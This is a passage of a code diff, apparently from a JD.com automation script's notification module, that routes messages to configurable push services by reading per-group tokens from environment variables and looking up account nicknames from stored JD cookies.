`【京东账号】${strdecPtPin}\n当前等级: 30\n已自动领取最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->优惠券->京券`, strdecPtPin); + } + } + + console.log("通知标题: " + strTitle); + + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + const notifyGroup2List = process.env.NOTIFY_GROUP2_LIST ? process.env.NOTIFY_GROUP2_LIST.split('&') : []; + const titleIndex2 = notifyGroup2List.findIndex((item) => item === strTitle); + const notifyGroup3List = process.env.NOTIFY_GROUP3_LIST ? process.env.NOTIFY_GROUP3_LIST.split('&') : []; + const titleIndexGp3 = notifyGroup3List.findIndex((item) => item === strTitle); + const notifyGroup4List = process.env.NOTIFY_GROUP4_LIST ? process.env.NOTIFY_GROUP4_LIST.split('&') : []; + const titleIndexGp4 = notifyGroup4List.findIndex((item) => item === strTitle); + const notifyGroup5List = process.env.NOTIFY_GROUP5_LIST ? process.env.NOTIFY_GROUP5_LIST.split('&') : []; + const titleIndexGp5 = notifyGroup5List.findIndex((item) => item === strTitle); + const notifyGroup6List = process.env.NOTIFY_GROUP6_LIST ? process.env.NOTIFY_GROUP6_LIST.split('&') : []; + const titleIndexGp6 = notifyGroup6List.findIndex((item) => item === strTitle); + + if (titleIndex2 !== -1) { + console.log(`${strTitle} 在群组2推送名单中,初始化群组推送`); + UseGroupNotify = 2; + } + if (titleIndexGp3 !== -1) { + console.log(`${strTitle} 在群组3推送名单中,初始化群组推送`); + UseGroupNotify = 3; + } + if (titleIndexGp4 !== -1) { + console.log(`${strTitle} 在群组4推送名单中,初始化群组推送`); + UseGroupNotify = 4; + } + if (titleIndexGp5 !== -1) { + console.log(`${strTitle} 在群组5推送名单中,初始化群组推送`); + UseGroupNotify = 5; + } + if (titleIndexGp6 !== -1) { + console.log(`${strTitle} 在群组6推送名单中,初始化群组推送`); + UseGroupNotify = 6; + } + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + } + if (strCustom) { + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if (strCustomTempArr[1] == "组1") { + console.log("自定义设定强制使用组1配置通知..."); + UseGroupNotify = 1; + } + if (strCustomTempArr[1] == "组2") { + console.log("自定义设定强制使用组2配置通知..."); + UseGroupNotify = 2; + } + if (strCustomTempArr[1] == "组3") { + console.log("自定义设定强制使用组3配置通知..."); + UseGroupNotify = 3; + } + if (strCustomTempArr[1] == "组4") { + console.log("自定义设定强制使用组4配置通知..."); + UseGroupNotify = 4; + } + if (strCustomTempArr[1] == "组5") { + console.log("自定义设定强制使用组5配置通知..."); + UseGroupNotify = 5; + } + if (strCustomTempArr[1] == "组6") { + console.log("自定义设定强制使用组6配置通知..."); + UseGroupNotify = 6; + } + + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + + } + + //console.log("UseGroup2 :"+UseGroup2); + //console.log("UseGroup3 :"+UseGroup3); + + + switch (UseGroupNotify) { + case 1: + if (process.env.GOBOT_URL && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL; + } + if (process.env.GOBOT_TOKEN && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN; + } + if (process.env.GOBOT_QQ && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ; + } + + if (process.env.PUSH_KEY && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY; + } + + if (process.env.WP_APP_TOKEN && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN; + } + + if (process.env.WP_TOPICIDS && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS; + } + + if (process.env.WP_UIDS && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS; + } + + if (process.env.WP_URL && Use_WxPusher) { + WP_URL = process.env.WP_URL; + } + if (process.env.BARK_PUSH && Use_BarkNotify) { + if (process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}`; + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND; + } + if (process.env.BARK_GROUP) { + BARK_GROUP = process.env.BARK_GROUP; + } + } else { + if (BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1 && Use_BarkNotify) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}`; + } + } + if (process.env.TG_BOT_TOKEN && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; + } + if (process.env.TG_USER_ID && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID; + } + if (process.env.TG_PROXY_AUTH && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; + if (process.env.TG_PROXY_HOST && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST; + if (process.env.TG_PROXY_PORT && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT; + if (process.env.TG_API_HOST && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST; + + if (process.env.DD_BOT_TOKEN && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } + } + + if (process.env.QYWX_KEY && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY; + } + + if (process.env.QYWX_AM && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM; + } + + if (process.env.IGOT_PUSH_KEY && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY; + } + + if (process.env.PUSH_PLUS_TOKEN && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; + } + if (process.env.PUSH_PLUS_USER && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip; + } + if (process.env.PUSH_PLUS_USER_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip; + } + if (process.env.GOTIFY_URL) { + GOTIFY_URL = process.env.GOTIFY_URL; + } + if (process.env.GOTIFY_TOKEN) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN; + } + if (process.env.GOTIFY_PRIORITY) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY; + } + + break; + + case 2: + //==========================第二套环境变量赋值========================= + + if (process.env.GOBOT_URL2 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL2; + } + if (process.env.GOBOT_TOKEN2 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN2; + } + if (process.env.GOBOT_QQ2 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ2; + } + + if (process.env.PUSH_KEY2 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY2; + } + + if (process.env.WP_APP_TOKEN2 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN2; + } + + if (process.env.WP_TOPICIDS2 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS2; + } + + if (process.env.WP_UIDS2 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS2; + } + + if (process.env.WP_URL2 && Use_WxPusher) { + WP_URL = process.env.WP_URL2; + } + if (process.env.BARK_PUSH2 && Use_BarkNotify) { + if (process.env.BARK_PUSH2.indexOf('https') > -1 || process.env.BARK_PUSH2.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH2; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH2}`; + } + if (process.env.BARK_SOUND2) { + BARK_SOUND = process.env.BARK_SOUND2; + } + if (process.env.BARK_GROUP2) { + BARK_GROUP = process.env.BARK_GROUP2; + } + } + if (process.env.TG_BOT_TOKEN2 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN2; + } + if (process.env.TG_USER_ID2 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID2; + } + if (process.env.TG_PROXY_AUTH2 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH2; + if (process.env.TG_PROXY_HOST2 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST2; + if (process.env.TG_PROXY_PORT2 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT2; + if (process.env.TG_API_HOST2 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST2; + + if (process.env.DD_BOT_TOKEN2 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN2; + if (process.env.DD_BOT_SECRET2) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET2; + } + } + + if (process.env.QYWX_KEY2 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY2; + } + + if (process.env.QYWX_AM2 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM2; + } + + if (process.env.IGOT_PUSH_KEY2 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY2; + } + + if (process.env.PUSH_PLUS_TOKEN2 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN2; + } + if (process.env.PUSH_PLUS_USER2 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER2; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip2; + } + if (process.env.PUSH_PLUS_USER_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip2; + } + if (process.env.GOTIFY_URL2) { + GOTIFY_URL = process.env.GOTIFY_URL2; + } + if (process.env.GOTIFY_TOKEN2) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN2; + } + if (process.env.GOTIFY_PRIORITY2) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY2; + } + break; + + case 3: + //==========================第三套环境变量赋值========================= + + if (process.env.GOBOT_URL3 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL3; + } + if (process.env.GOBOT_TOKEN3 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN3; + } + if (process.env.GOBOT_QQ3 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ3; + } + + if (process.env.PUSH_KEY3 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY3; + } + + if (process.env.WP_APP_TOKEN3 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN3; + } + + if (process.env.WP_TOPICIDS3 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS3; + } + + if (process.env.WP_UIDS3 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS3; + } + + if (process.env.WP_URL3 && Use_WxPusher) { + WP_URL = process.env.WP_URL3; + } + + if (process.env.BARK_PUSH3 && Use_BarkNotify) { + if (process.env.BARK_PUSH3.indexOf('https') > -1 || process.env.BARK_PUSH3.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH3; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH3}`; + } + if (process.env.BARK_SOUND3) { + BARK_SOUND = process.env.BARK_SOUND3; + } + if (process.env.BARK_GROUP3) { + BARK_GROUP = process.env.BARK_GROUP3; + } + } + if (process.env.TG_BOT_TOKEN3 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN3; + } + if (process.env.TG_USER_ID3 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID3; + } + if (process.env.TG_PROXY_AUTH3 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH3; + if (process.env.TG_PROXY_HOST3 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST3; + if (process.env.TG_PROXY_PORT3 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT3; + if (process.env.TG_API_HOST3 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST3; + + if (process.env.DD_BOT_TOKEN3 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN3; + if (process.env.DD_BOT_SECRET3) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET3; + } + } + + if (process.env.QYWX_KEY3 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY3; + } + + if (process.env.QYWX_AM3 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM3; + } + + if (process.env.IGOT_PUSH_KEY3 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY3; + } + + if (process.env.PUSH_PLUS_TOKEN3 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN3; + } + if (process.env.PUSH_PLUS_USER3 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER3; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip3; + } + if (process.env.PUSH_PLUS_USER_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip3; + } + if (process.env.GOTIFY_URL3) { + GOTIFY_URL = process.env.GOTIFY_URL3; + } + if (process.env.GOTIFY_TOKEN3) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN3; + } + if (process.env.GOTIFY_PRIORITY3) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY3; + } + break; + + case 4: + //==========================第四套环境变量赋值========================= + + if (process.env.GOBOT_URL4 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL4; + } + if (process.env.GOBOT_TOKEN4 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN4; + } + if (process.env.GOBOT_QQ4 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ4; + } + + if (process.env.PUSH_KEY4 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY4; + } + + if (process.env.WP_APP_TOKEN4 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN4; + } + + if (process.env.WP_TOPICIDS4 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS4; + } + + if (process.env.WP_UIDS4 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS4; + } + + if (process.env.WP_URL4 && Use_WxPusher) { + WP_URL = process.env.WP_URL4; + } + + if (process.env.BARK_PUSH4 && Use_BarkNotify) { + if (process.env.BARK_PUSH4.indexOf('https') > -1 || process.env.BARK_PUSH4.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH4; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH4}`; + } + if (process.env.BARK_SOUND4) { + BARK_SOUND = process.env.BARK_SOUND4; + } + if (process.env.BARK_GROUP4) { + BARK_GROUP = process.env.BARK_GROUP4; + } + } + if (process.env.TG_BOT_TOKEN4 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN4; + } + if (process.env.TG_USER_ID4 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID4; + } + if (process.env.TG_PROXY_AUTH4 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH4; + if (process.env.TG_PROXY_HOST4 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST4; + if (process.env.TG_PROXY_PORT4 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT4; + if (process.env.TG_API_HOST4 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST4; + + if (process.env.DD_BOT_TOKEN4 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN4; + if (process.env.DD_BOT_SECRET4) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET4; + } + } + + if (process.env.QYWX_KEY4 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY4; + } + + if (process.env.QYWX_AM4 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM4; + } + + if (process.env.IGOT_PUSH_KEY4 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY4; + } + + if (process.env.PUSH_PLUS_TOKEN4 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN4; + } + if (process.env.PUSH_PLUS_USER4 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER4; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip4; + } + if (process.env.PUSH_PLUS_USER_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip4; + } + if (process.env.GOTIFY_URL4) { + GOTIFY_URL = process.env.GOTIFY_URL4; + } + if (process.env.GOTIFY_TOKEN4) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN4; + } + if (process.env.GOTIFY_PRIORITY4) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY4; + } + break; + + case 5: + //==========================第五套环境变量赋值========================= + + if (process.env.GOBOT_URL5 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL5; + } + if (process.env.GOBOT_TOKEN5 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN5; + } + if (process.env.GOBOT_QQ5 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ5; + } + + if (process.env.PUSH_KEY5 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY5; + } + + if (process.env.WP_APP_TOKEN5 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN5; + } + + if (process.env.WP_TOPICIDS5 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS5; + } + + if (process.env.WP_UIDS5 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS5; + } + + if (process.env.WP_URL5 && Use_WxPusher) { + WP_URL = process.env.WP_URL5; + } + if (process.env.BARK_PUSH5 && Use_BarkNotify) { + if (process.env.BARK_PUSH5.indexOf('https') > -1 || process.env.BARK_PUSH5.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH5; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH5}`; + } + if (process.env.BARK_SOUND5) { + BARK_SOUND = process.env.BARK_SOUND5; + } + if (process.env.BARK_GROUP5) { + BARK_GROUP = process.env.BARK_GROUP5; + } + } + if (process.env.TG_BOT_TOKEN5 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN5; + } + if (process.env.TG_USER_ID5 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID5; + } + if (process.env.TG_PROXY_AUTH5 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH5; + if (process.env.TG_PROXY_HOST5 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST5; + if (process.env.TG_PROXY_PORT5 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT5; + if (process.env.TG_API_HOST5 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST5; + + if (process.env.DD_BOT_TOKEN5 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN5; + if (process.env.DD_BOT_SECRET5) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET5; + } + } + + if (process.env.QYWX_KEY5 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY5; + } + + if (process.env.QYWX_AM5 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM5; + } + + if (process.env.IGOT_PUSH_KEY5 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY5; + } + + if (process.env.PUSH_PLUS_TOKEN5 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN5; + } + if (process.env.PUSH_PLUS_USER5 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER5; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip5; + } + if (process.env.PUSH_PLUS_USER_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip5; + } + if (process.env.GOTIFY_URL5) { + GOTIFY_URL = process.env.GOTIFY_URL5; + } + if (process.env.GOTIFY_TOKEN5) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN5; + } + if (process.env.GOTIFY_PRIORITY5) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY5; + } + break; + + case 6: + //==========================第六套环境变量赋值========================= + + if (process.env.GOBOT_URL6 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL6; + } + if (process.env.GOBOT_TOKEN6 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN6; + } + if (process.env.GOBOT_QQ6 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ6; + } + + if (process.env.PUSH_KEY6 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY6; + } + + if (process.env.WP_APP_TOKEN6 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN6; + } + + if (process.env.WP_TOPICIDS6 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS6; + } + + if (process.env.WP_UIDS6 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS6; + } + + if (process.env.WP_URL6 && Use_WxPusher) { + WP_URL = process.env.WP_URL6; + } + if (process.env.BARK_PUSH6 && Use_BarkNotify) { + if (process.env.BARK_PUSH6.indexOf('https') > -1 || process.env.BARK_PUSH6.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH6; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH6}`; + } + if (process.env.BARK_SOUND6) { + BARK_SOUND = process.env.BARK_SOUND6; + } + if (process.env.BARK_GROUP6) { + BARK_GROUP = process.env.BARK_GROUP6; + } + } + if (process.env.TG_BOT_TOKEN6 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN6; + } + if (process.env.TG_USER_ID6 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID6; + } + if (process.env.TG_PROXY_AUTH6 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH6; + if (process.env.TG_PROXY_HOST6 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST6; + if (process.env.TG_PROXY_PORT6 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT6; + if (process.env.TG_API_HOST6 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST6; + + if (process.env.DD_BOT_TOKEN6 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN6; + if (process.env.DD_BOT_SECRET6) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET6; + } + } + + if (process.env.QYWX_KEY6 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY6; + } + + if (process.env.QYWX_AM6 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM6; + } + + if (process.env.IGOT_PUSH_KEY6 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY6; + } + + if (process.env.PUSH_PLUS_TOKEN6 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN6; + } + if (process.env.PUSH_PLUS_USER6 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER6; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip6; + } + if (process.env.PUSH_PLUS_USER_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip6; + } + if (process.env.GOTIFY_URL6) { + GOTIFY_URL = process.env.GOTIFY_URL6; + } + if (process.env.GOTIFY_TOKEN6) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN6; + } + if (process.env.GOTIFY_PRIORITY6) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY6; + } + break; + } + + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("sendNotify正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.Remark = getRemark(envs[i].remarks); + $.nickName = ""; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + 